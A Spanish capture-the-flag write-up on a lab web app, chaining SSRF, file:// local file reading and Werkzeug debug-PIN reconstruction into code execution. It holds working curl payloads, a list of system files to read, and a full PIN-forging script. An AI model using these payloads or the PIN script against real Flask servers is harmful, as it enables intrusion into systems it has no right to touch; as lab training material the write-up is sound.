Introduction
Resumen
En esta máquina nos encontramos con la web de un colega. Este dice haberla desarrollado sólo.
Después de una enumeración básica llegamos a unos directorios, donde dentro de uno de ellos podemos explotar un SSRF mal configurado, lo que nos da acceso a la primera flag.
Después de eso, usamos filtros como file:// para conseguir un LFI via SSRF para obtener la segunda flag.
Una vez conseguida, pasamos a explotar el PIN de Werkzeug, el cual es generado dinámicamente mediante un script de la propia librería de Werkzeug. Leyendo este archivo comprendemos cómo se crea el PIN, lo que nos permite hacer reversing y obtenerlo.
Una vez obtenido usamos comandos python para leer archivos del directorio o conseguir una reverse shell.

Tu amigo, un botánico apasionado y aspirante a fotógrafo, ha lanzado recientemente un sitio web a modo de portafolio personal para mostrar su creciente colección de fotografías de plantas poco comunes.
Orgulloso de haber construido el sitio él mismo desde cero, te ha pedido que le eches un vistazo rápido y le digas si hay algo que se pueda mejorar. Examina con detenimiento cómo funciona el sitio bajo el capó y determina si ha sido programado siguiendo las mejores prácticas. Si encuentras algo cuestionable, investiga más a fondo e intenta descubrir la flag que se oculta tras bastidores.
Getting the flags
Reconocimiento Inicial
Comenzamos escaneando los puertos abiertos.

Ahora vamos a analizar dichos puertos más en profundidad.

Vamos a ver qué posibles directorios hay en la web.

Vamos a ver cómo se ve la web.

Profundización
Vamos a investigar los directorios que hemos encontrado. Empezando por /admin.

Ahora vamos a ver qué hay en /console.

Hay una restricción, sin embargo parece client-side después lo investigamos. En el código fuente, aparece un secreto filtrado.

Sin embargo, no es el PIN.
Vamos ahora a ver qué hay en /download.

Vamos a ver si podemos causar un path traversal. Si nos fijamos en los botones de download de la página, podemos ver que se está realizando una petición:

Puede que exista SSRF.
Explotación
SSRF
La petición:
curl "http://plantphotographer.thm/download?server=http://192.168.154.153:8888&id=file.php"
Causó el siguiente error:

Por no ser el ID un tipo int. Vamos a cambiar eso.
curl "http://plantphotographer.thm/download?server=http://192.168.154.153:8888&id=1234"

Parece que sí tiene SSRF.
LFI via SSRF
Vamos a intentar ahora obtener el archivo de /admin, ya que desde localhost se puede acceder.
http://plantphotographer.thm/download?server=localhost:8087/admin%23&id=75482342
El #, (%23 en URL-Encode), es para comentar el resto de la petición.
Cambiando la dirección y el archivo, obtenemos la flag:

Ahora tenemos que conseguir el PIN de la consola para obtener RCE.
Werkzeug PIN exploitation
Vamos a buscar en los errores. Cambiando el puerto de la petición por el 80, obtenemos los errores y podemos ver una ruta.

Intentamos descargar el código:

A veces el /../ puede fallar, vamos a probar con el filtro file://.

Pero aquí no está el PIN. Después de preguntar a Google y a la IA, entendemos que el PIN no se guarda en un sitio, sino que se genera de forma única y aleatoria cada vez que arrancamos la máquina. Sin embargo, al tener acceso al secreto, puede que consigamos replicar su creación, por lo que vamos a intentar leer el archivo que crea el PIN:

Vamos a usar la LFI vía SSRF para leer el archivo. Después de trastear un poco e investigar más vemos que la ruta probablemente sea /usr/local/bin/python3.10/site-packages/werkzeug/debug/__init__.py. Vamos a descargarlo y a guardarlo.
curl "http://plantphotographer.thm/download?server=file:///usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py%23&id=75482342" > PP_init.py

Ahora vamos a ver cómo se genera el PIN. Después de pasárselo a la IA le hemos pedido que nos genere un script para regenerar el PIN:
import hashlib def calculate_werkzeug_pin(username, modname, appname, filepath, mac_hex, machine_id): # Convertir la MAC de hexadecimal a entero decimal (igual que uuid.getnode()) mac_decimal = str(int(mac_hex.replace(":", ""), 16)) chain_bits = [username, modname, appname, filepath, mac_decimal, machine_id] h = hashlib.md5() for bit in chain_bits: if bit: h.update(bit.encode("utf-8")) # Añadir las sales internas de Werkzeug h.update(b"cookiesalt") h.update(b"pinsalt") # Generar los 9 dígitos del PIN num = f"{int(h.hexdigest(), 16):09d}"[:9] # Formatear el PIN con guiones pin = "-".join([num[:3], num[3:6], num[6:]]) return pin if __name__ == "__main__": print("=== Generador de PIN de Werkzeug ===") print("Introduce los datos exfiltrados del objetivo:\n") username = input("1. Username: ").strip() modname = input("2. Module name: ").strip() appname = input("3. App/Class name: ").strip() filepath = input("4. Filepath de flask.app: ").strip() mac_hex = input("5. MAC address en hex: ").strip() machine_id = input("6. Container ID de cgroup: ").strip() pin = calculate_werkzeug_pin(username, modname, appname, filepath, mac_hex, machine_id) print("\n" + "="*40) print(f"[+] ¡PIN Calculado con éxito!: {pin}") print("="*40)
Para saber qué datos introducir, podemos leer los siguientes archivos:
/etc/passwd: Para el username./proc/self/cgroup: Para el container ID./sys/class/net/eth0/address: Para la MAC Address./usr/local/lib/python3.10/site-packages/flask/app.py: Para comprobar la ruta del módulo de Flask.
Después de ejecutarlo con los datos correctos:

Introducimos el PIN y obtenemos acceso a la shell de Werkzeug.

Ahora vamos a listar los contenidos de la máquina, ya que tenemos acceso como root a un entorno python.

Vamos a leer la flag.

También podemos obtener una reverse shell, pero esta es la forma más sencilla de ver la flag.
Conclusión
Una máquina divertida en la que hemos trabajado varias cosas, entre las que se encuentran:
- Enumeración
- SSRF
- LFI via SSRF
- Explotación de PIN de Werkzeug mediante LFI
Una máquina con cierta complicación, pero no la más difícil que hemos hecho.
¡Hemos conseguido todas las flags!
